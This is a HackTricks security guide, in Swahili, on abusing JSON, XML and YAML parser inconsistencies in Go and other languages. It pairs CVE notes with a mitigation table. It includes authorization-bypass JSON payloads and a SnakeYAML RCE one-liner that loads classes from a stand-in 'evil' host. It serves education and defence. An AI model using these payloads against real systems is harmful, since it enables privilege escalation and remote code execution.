JSON, XML & Yaml Hacking & Masuala
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Go JSON Decoder
Masuala yafuatayo yaligunduliwa kwenye Go JSON ingawa yanaweza kuwepo pia katika lugha nyingine. Masuala haya yalichapishwa katika this blog post.
Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to kupita kando ya uthibitishaji, kuinua ruhusa, or kuondoa data nyeti.
(Un)Marshaling Data Isiyotarajiwa
Lengo ni kutumia structs zinazomruhusu mshambuliaji kusoma/kuandika mashamba nyeti (mfano, IsAdmin, Password).
- Mfano Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Udhaifu za kawaida
- Missing tag (hakuna tag = uwanja bado unachambuliwa kwa chaguo-msingi):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Matumizi yasiyo sahihi ya
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Njia sahihi ya kuzuia uwanja usifanywe (un)marshaled:
type User struct {
IsAdmin bool `json:"-"`
}
Tofauti za Parseri
Lengo ni ku-bypass idhini kwa kuchukua faida ya jinsi parser tofauti zinavyotafsiri payload ile ile kwa njia tofauti, kama katika:
- CVE-2017-12635: Apache CouchDB bypass kupitia funguo zilizojirudia
- 2022: Zoom 0-click RCE kupitia utofauti wa XML parser
- GitLab 2025 SAML bypass kupitia tabia zisizo za kawaida za XML
1. Sehemu Zilizojirudia:
Go’s encoding/json huchukua sehemu ya mwisho.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Parser wengine (mfano, Java’s Jackson) wanaweza kuchukua kwanza.
2. Kutokutofautisha Herufi: Go haifanyi utofauti kati ya herufi kubwa na ndogo:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Hata mbinu za Unicode zinafanya kazi:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Kutokubaliana kati ya huduma: Fikiria:
- Proxy imeandikwa kwa Go
- AuthZ service imeandikwa kwa Python
Mshambuliaji anatumia:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python inaona
UserAction, inaikubali - Go inaona
AdminAction, inaitekeleza
Mchanganyiko wa Muundo wa Data (Polyglots)
Lengo ni kuchukua fursa ya mifumo inayochanganya muundo (JSON/XML/YAML) au kushindwa kufunga kwenye makosa ya parser kama:
- CVE-2020-16250: HashiCorp Vault ilichanganua JSON kwa parser ya XML baada STS ilirudisha JSON badala ya XML.
Mshambulizi anadhibiti:
- Header ya
Accept: application/json - Udhibiti wa sehemu ya mwili wa JSON
XML parser ya Go ilichanganua hilo hata hivyo na kuamini utambulisho uliingizwa.
- Payload iliyotengenezwa:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Matokeo:
- Go JSON parser:
Action_2(haizingatii utofauti wa herufi kubwa/dogo + mwisho hushinda) - YAML parser:
Action_1(hujali utofauti wa herufi kubwa/dogo) - XML parser: huchambua
"Action_3"ndani ya string
Udhaifu Muhimu wa Parser (2023-2025)
Masuala yafuatayo yanayoweza kutumiwa hadharani yanaonyesha kuwa uchambuzi usio salama ni tatizo la lugha nyingi — si tatizo la Go pekee.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Inaathiri:
org.yaml:snakeyaml< 2.0 (inayotumika na Spring-Boot, Jenkins, n.k.). - Chanzo kuu:
new Constructor()inafanya deserialization ya arbitrary Java classes, ikiruhusu gadget chains ambazo zinafikia remote-code execution. - One-liner PoC (itafungua calculator kwenye mwenyeji dhaifu):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Suluhisho / Kupunguza:
- Sasisha hadi ≥2.0 (inatumia
SafeLoaderkwa chaguo-msingi). - Katika matoleo ya zamani, tumia waziwazi
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Inaathiri:
libyaml≤0.2.5 (maktaba ya C inayotumiwa na bindings nyingi za lugha). - Tatizo: Kupiga
yaml_event_delete()mara mbili husababisha double-free ambayo wadukuzi wanaweza kuibadilisha kuwa DoS au, katika baadhi ya matukio, heap exploitation. - Hali: Upstream ilikataa kama “API misuse”, lakini distributions za Linux zilitumwa patched 0.2.6 ambazo hufanya null-frees pointer kwa kujilinda.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Inaathiri: Tencent RapidJSON kabla ya commit
8269bc2(<1.1.0-patch-22). - Mende: Katika
GenericReader::ParseNumber()hesabu isiyotambuliwa inaruhusu wadukuzi kutengeneza nambari kubwa sana ambazo zinapinda na kuharibu heap — hatimaye kuruhusu privilege-escalation wakati object graph iliyotokana inapotumika kwa maamuzi ya uthibitisho.
🔐 Kupunguzwa (Imesasishwa)
| Hatari | Suluhisho / Mapendekezo |
|---|---|
| Minda isiyojulikana (JSON) | decoder.DisallowUnknownFields() |
| Minda zinazorudiwa (JSON) | ❌ Hakuna suluhisho katika stdlib — thibitisha kwa jsoncheck |
| Mechi isiyozingatia utofauti wa herufi (Go) | ❌ Hakuna suluhisho — thibitisha struct tags + pre-canonicalize input |
| Takataka za XML / XXE | Tumia parser imara (encoding/xml + DisallowDTD) |
| Vifunguo visivyotambulika (YAML) | yaml.KnownFields(true) |
| Deserialization hatari ya YAML | Tumia SafeConstructor / sasisha hadi SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 double-free | Sasisha hadi 0.2.6 au toleo lililorekebishwa na distro |
| RapidJSON kabla ya commit iliyorekebishwa | Compile against latest RapidJSON (≥July 2024) |
Angalia pia
Marejeo
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

